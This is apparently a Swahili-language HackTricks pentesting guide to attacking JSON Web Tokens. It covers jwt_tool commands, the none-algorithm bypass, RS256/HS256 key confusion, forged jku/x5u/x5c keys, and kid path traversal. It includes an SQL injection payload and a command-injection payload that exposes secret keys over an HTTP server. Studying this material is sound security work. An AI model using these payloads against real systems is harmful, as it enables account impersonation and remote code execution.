17 KiB
Madoa ya JWT (Json Web Tokens)
Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako ikitangazwa kwenye HackTricks au kupakua HackTricks kwa PDF Angalia MIPANGO YA KUJIUNGA!
- Pata bidhaa rasmi za PEASS & HackTricks
- Gundua Familia ya PEASS, mkusanyiko wetu wa NFTs ya kipekee
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
- Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Ikiwa una nia ya kazi ya kudukua na kudukua yasiyodukuliwa - tunakupa kazi! (ujuzi wa Kipolishi ulioandikwa na kuzungumzwa vizuri unahitajika).
{% embed url="https://www.stmcyber.com/careers" %}
Sehemu ya chapisho hili imetokana na chapisho zuri: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
Mwandishi wa zana kuu ya pentest JWTs https://github.com/ticarpi/jwt_tool
Mafanikio Haraka
Chalisha jwt_tool kwa mode All Tests!
na subiri mistari ya kijani
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
Ikiwa una bahati, zana itapata kesi ambapo programu ya wavuti haiangalii JWT kwa usahihi:
Kisha, unaweza kutafuta ombi katika proksi yako au kudump JWT iliyotumiwa kwa ombi hilo kwa kutumia zana ya jwt_:
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
Kuhariri data bila kubadilisha kitu
Unaweza kuhariri data bila kugusa saini na kuangalia kama server inathibitisha saini. Jaribu kubadilisha jina lako kuwa "admin" kwa mfano.
Je, token inathibitishwa?
Kuwa na uhakika kama saini ya JWT inathibitishwa:
- Ujumbe wa hitilafu unaashiria uthibitisho unaendelea; maelezo nyeti katika makosa marefu yanapaswa kuchunguzwa.
- Mabadiliko kwenye ukurasa uliorejeshwa pia inaashiria uthibitisho.
- Hakuna mabadiliko yanapendekeza hakuna uthibitisho; hii ni wakati wa kujaribu kuhariri madai ya mzigo.
Asili
Ni muhimu kujua ikiwa token uliundwa upande wa server au upande wa mteja kwa kuchunguza historia ya ombi la proksi.
- Vyeti vilivyoonekana kwanza upande wa mteja vinapendekeza kuwa ufunguo unaweza kuwa umefichuliwa kwa nambari ya upande wa mteja, hivyo kuhitaji uchunguzi zaidi.
- Vyeti vinavyoanzia upande wa server vinathibitisha mchakato salama.
Muda
Angalia kama token inadumu zaidi ya masaa 24... labda haitamalizika. Ikiwa kuna uwanja wa "exp", hakikisha server inashughulikia kwa usahihi.
Kuvunja nguvu siri ya HMAC
Badilisha algorithm kuwa None (CVE-2015-9235)
Weka algorithm uliotumika kuwa "None" na ondoa sehemu ya saini.
Tumia kifaa cha Burp kinachoitwa "JSON Web Token" kujaribu udhaifu huu na kubadilisha thamani tofauti ndani ya JWT (tuma ombi kwa Repeater na kwenye kichupo cha "JSON Web Token" unaweza kuhariri thamani za token. Unaweza pia kuchagua kuweka thamani ya uga wa "Alg" kuwa "None").
Badilisha algorithm kutoka RS256(asymmetric) kwenda HS256(symmetric) (CVE-2016-5431/CVE-2016-10555)
Algorithm HS256 hutumia ufunguo wa siri kusaini na kuthibitisha kila ujumbe.
Algorithm RS256 hutumia ufunguo wa kibinafsi kusaini ujumbe na kutumia ufunguo wa umma kwa uthibitisho.
Ukibadilisha algorithm kutoka RS256 kwenda HS256, msimbo wa nyuma utatumia ufunguo wa umma kama ufunguo wa siri na kisha kutumia algorithm ya HS256 kuthibitisha saini.
Kisha, kwa kutumia ufunguo wa umma na kubadilisha RS256 kuwa HS256 tunaweza kuunda saini halali. Unaweza kupata cheti cha seva ya wavuti ikitekeleza hii:
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
Funguo ya umma mpya ndani ya kichwa
Mshambuliaji anaingiza funguo mpya katika kichwa cha token na seva hutumia funguo hii mpya kuthibitisha saini (CVE-2018-0114).
Hii inaweza kufanywa kwa kutumia kifaa cha "JSON Web Tokens" katika Burp.
(Tuma ombi kwa Repeater, ndani ya kichupo cha JSON Web Token chagua "CVE-2018-0114" na tuma ombi).
JWKS Uigaji
Maagizo yanatoa maelezo ya njia ya kutathmini usalama wa JWT tokens, hasa zile zinazotumia dai la kichwa cha "jku". Dai hili linapaswa kuunganisha kwenye faili ya JWKS (JSON Web Key Set) inayojumuisha funguo ya umma inayohitajika kwa uthibitisho wa token.
- Kutathmini Tokens na Kichwa cha "jku":
- Thibitisha URL ya dai la "jku" ili kuhakikisha inaelekeza kwenye faili sahihi ya JWKS.
- Badilisha thamani ya "jku" ya token kupeleka kwenye huduma ya wavuti inayodhibitiwa, kuruhusu uchunguzi wa trafiki.
- Kufuatilia Mwingiliano wa HTTP:
- Kufuatilia maombi ya HTTP kwenye URL uliyochagua kunadokeza majaribio ya seva kunasa funguo kutoka kwenye kiungo uliyotoa.
- Wakati wa kutumia
jwt_tool
kwa mchakato huu, ni muhimu kusasisha faili yajwtconf.ini
na eneo lako binafsi la JWKS ili kurahisisha majaribio. - Amri kwa
jwt_tool
: - Tekeleza amri ifuatayo kusimuliza hali na
jwt_tool
:
python3 jwt_tool.py JWT_HAPA -X s
Muhtasari wa Matatizo ya Kid
Dai la kichwa linaloweza kutumika linalojulikana kama kid
hutumiwa kutambua funguo maalum, ambayo inakuwa muhimu hasa katika mazingira ambapo kuna funguo kadhaa kwa uthibitisho wa saini ya token. Dai hili husaidia katika kuchagua funguo sahihi kwa kuthibitisha saini ya token.
Kufichua Funguo kupitia "kid"
Wakati dai la kid
linapokuwepo katika kichwa, inashauriwa kutafuta saraka ya wavuti kwa faili inayolingana au mabadiliko yake. Kwa mfano, ikiwa "kid":"key/12345"
imeelezwa, faili /key/12345 na /key/12345.pem inapaswa kutafutwa katika mzizi wa wavuti.
Uvukuzi wa Njia na "kid"
Dai la kid
linaweza pia kutumiwa kwa kusafiri kupitia mfumo wa faili, ikiruhusu uteuzi wa faili ya kupendelea. Ni rahisi kufanya majaribio ya uunganishaji au kutekeleza mashambulizi ya Udukuzi wa Ombi la Upande wa Seva (SSRF) kwa kubadilisha thamani ya kid
kuelekea faili au huduma maalum. Kuharibu JWT kwa kubadilisha thamani ya kid
wakati unahifadhi saini ya asili inaweza kufikiwa kwa kutumia bendera ya -T
katika jwt_tool, kama inavyodhihirishwa hapa chini:
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
Kwa kulenga faili zenye maudhui yanayoweza kutabirika, inawezekana kufanya JWT halali bandia. Kwa mfano, faili ya /proc/sys/kernel/randomize_va_space
katika mifumo ya Linux, inayojulikana kuwa na thamani 2, inaweza kutumika katika parameter ya kid
na 2 kama nenosiri la kisymmetri kwa ajili ya uundaji wa JWT.
SQL Injection kupitia "kid"
Ikiwa maudhui ya dai la kid
yanatumika kupata nenosiri kutoka kwenye database, SQL injection inaweza kurahisishwa kwa kubadilisha mzigo wa kid
. Mzigo wa mfano unaotumia SQL injection kubadilisha mchakato wa kutia saini JWT ni:
non-existent-index' UNION SELECT 'ATTACKER';-- -
Mabadiliko haya yanalazimisha matumizi ya ufunguo wa siri uliojulikana, ATTACKER
, kwa ajili ya kutia saini JWT.
OS Injection kupitia "kid"
Hali ambapo parameter ya kid
inabainisha njia ya faili inayotumiwa ndani ya muktadha wa utekelezaji wa amri inaweza kusababisha vulnerability ya Remote Code Execution (RCE). Kwa kuingiza amri ndani ya parameter ya kid
, inawezekana kufichua funguo za siri. Mzigo wa mfano wa kufanikisha RCE na kufichua funguo ni:
/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&
x5u na jku
jku
jku inasimama kwa JWK Set URL.
Ikiwa token hutumia dai la “jku” katika Header basi angalia URL iliyotolewa. Hii inapaswa kuashiria kwenye URL inayohifadhi faili ya JWKS inayoshikilia Funguo ya Umma kwa ajili ya kuthibitisha token. Badilisha token ili kuashiria thamani ya jku kwenye huduma ya wavuti unayoweza kufuatilia trafiki yake.
Kwanza unahitaji kuunda cheti kipya na funguo za faragha na za umma mpya.
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
Kisha unaweza kutumia kwa mfano jwt.io kuunda JWT mpya na funguo za umma na binafsi zilizoundwa na kuelekeza parameter jku kwa cheti kilichoundwa. Ili kuunda cheti sahihi cha jku unaweza kupakua kile cha awali na kubadilisha parameta zinazohitajika.
Unaweza kupata parameta "e" na "n" kutoka kwa cheti cha umma kwa kutumia:
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))
x5u
X.509 URL. URI inayoashiria seti ya vyeti vya umma vya X.509 (muundo wa vyeti wa kiwango) vilivyohifadhiwa kwa fomu ya PEM. Cheti cha kwanza katika seti lazima kiwe cha kutumika kusaini JWT hii. Vyeti vifuatavyo kila kimoja husaini cheti kilichotangulia, hivyo kukamilisha mnyororo wa vyeti. X.509 imedefiniwa katika RFC 52807. Usalama wa usafirishaji unahitajika kuhamisha vyeti.
Jaribu kubadilisha kichwa hiki kuwa URL chini ya udhibiti wako na angalia ikiwa ombi lolote linapokelewa. Katika kesi hiyo, unaweza kuharibu JWT.
Ili kufanya alama mpya kwa kutumia cheti linalodhibitiwa na wewe, unahitaji kuunda cheti na kuchimba funguo za umma na za kibinafsi:
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
Kisha unaweza kutumia kwa mfano jwt.io kuunda JWT mpya na funguo za umma na binafsi zilizoundwa na kuelekeza parameter x5u kwa cheti .crt kilichoundwa.
Unaweza pia kutumia udhaifu huu kwa SSRFs.
x5c
Parameter huu unaweza kuwa na cheti katika base64:
Ikiwa mshambuliaji anaunda cheti cha kujisaini na kuunda token bandia kwa kutumia funguo binafsi husika na kubadilisha thamani ya parameter "x5c" na cheti lililoundwa kwa mara ya kwanza na kurekebisha parameta nyingine, yaani n, e na x5t basi kimsingi token bandia ungekubaliwa na seva.
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
Funguo ya Umma iliyowekwa (CVE-2018-0114)
Ikiwa JWT ina funguo ya umma iliyojumuishwa kama katika hali ifuatayo:
Kwa kutumia skripti ifuatayo ya nodejs ni rahisi kuzalisha funguo ya umma kutoka kwa data hiyo:
const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
Inawezekana kuzalisha ufunguo mpya wa faragha / wa umma, kuweka ufunguo wa umma mpya ndani ya token na kutumia kuzalisha saini mpya:
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
Unaweza kupata "n" na "e" kwa kutumia script hii ya nodejs:
const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));
Hatimaye, kwa kutumia funguo za umma na binafsi na thamani mpya za "n" na "e" unaweza kutumia jwt.io kuunda JWT mpya halali na habari yoyote.
JTI (JWT ID)
Madai ya JTI (JWT ID) hutoa kitambulisho cha kipekee kwa Token ya JWT. Inaweza kutumika kuzuia tokeni kutumika tena.
Hata hivyo, fikiria hali ambapo urefu wa juu wa kitambulisho ni 4 (0001-9999). Ombi 0001 na 10001 vitatumia kitambulisho kimoja. Kwa hivyo, ikiwa seva ya nyuma inaongeza kitambulisho kwa kila ombi, unaweza kutumia hii kufanya ombi litumike tena (ukihitaji kutuma ombi 10000 kati ya kila ombi la mafanikio).
Madai Yaliyosajiliwa ya JWT
{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}
Mashambulizi Mengine
Mashambulizi ya Kusafirisha Kati ya Huduma
Imeonekana kwamba baadhi ya programu za wavuti hutegemea huduma ya JWT iliyoaminika kwa uundaji na usimamizi wa tokeni zao. Kuna visa ambapo tokeni, zilizoundwa kwa mteja mmoja na huduma ya JWT, zilikubaliwa na mteja mwingine wa huduma hiyo hiyo ya JWT. Ikiwa utoaji au upya wa JWT kupitia huduma ya mtu wa tatu unashuhudiwa, uwezekano wa kujiandikisha kwa akaunti kwenye mteja mwingine wa huduma hiyo kwa kutumia jina la mtumiaji/barua pepe sawa unapaswa kuchunguzwa. Jaribio linapaswa kufanywa kwa kutuma tena tokeni iliyopatikana katika ombi kwa lengo la kuona ikiwa itakubaliwa.
- Shida kuu inaweza kudhihirishwa na kukubaliwa kwa tokeni yako, ikiruhusu uigaji wa akaunti yoyote ya mtumiaji. Hata hivyo, inapaswa kuzingatiwa kwamba idhini ya majaribio zaidi inaweza kuhitajika ikiwa kujiandikisha kwenye programu ya mtu wa tatu, kwani hii inaweza kuingia eneo la kisheria lisilo wazi.
Uchunguzi wa Muda wa Matokeo ya Tokeni
Muda wa kumalizika wa tokeni huchunguzwa kwa kutumia madai ya Payload ya "exp". Kwa kuwa JWT mara nyingi hutumiwa bila habari ya kikao, kushughulikia kwa uangalifu kunahitajika. Katika hali nyingi, kukamata na kutuma tena JWT ya mtumiaji mwingine kunaweza kuwezesha uigaji wa mtumiaji huyo. RFC ya JWT inapendekeza kupunguza mashambulizi ya kutuma tena ya JWT kwa kutumia madai ya "exp" kuweka muda wa kumalizika kwa tokeni. Zaidi ya hayo, utekelezaji wa uchunguzi unaofaa na maombi kuhakikisha usindikaji wa thamani hii na kukataa tokeni zilizomalizika ni muhimu. Ikiwa tokeni inajumuisha madai ya "exp" na mipaka ya muda wa majaribio inaruhusu, kuhifadhi tokeni na kuituma tena baada ya muda wa kumalizika kumepita kunashauriwa. Yaliyomo ya tokeni, ikiwa ni pamoja na uchambuzi wa alama za wakati na uchunguzi wa kumalizika (alama za wakati katika UTC), yanaweza kusomwa kwa kutumia bendera ya -R ya jwt_tool.
- Hatari ya usalama inaweza kuwepo ikiwa programu bado inathibitisha tokeni, kwani inaweza kupendekeza kwamba tokeni haiwezi kumalizika kamwe.
Zana
{% embed url="https://github.com/ticarpi/jwt_tool" %}
Ikiwa una nia katika kazi ya udukuzi na kudukua yasiyoweza kudukuliwa - tunakupa ajira! (ujuzi wa Kipolishi ulioandikwa na kuzungumzwa vizuri unahitajika).
{% embed url="https://www.stmcyber.com/careers" %}
Jifunze udukuzi wa AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako ikitangazwa kwenye HackTricks au kupakua HackTricks kwa PDF Angalia MIPANGO YA KUJIUNGA!
- Pata bidhaa rasmi za PEASS & HackTricks
- Gundua Familia ya PEASS, mkusanyiko wetu wa NFTs ya kipekee
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
- Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud github repos.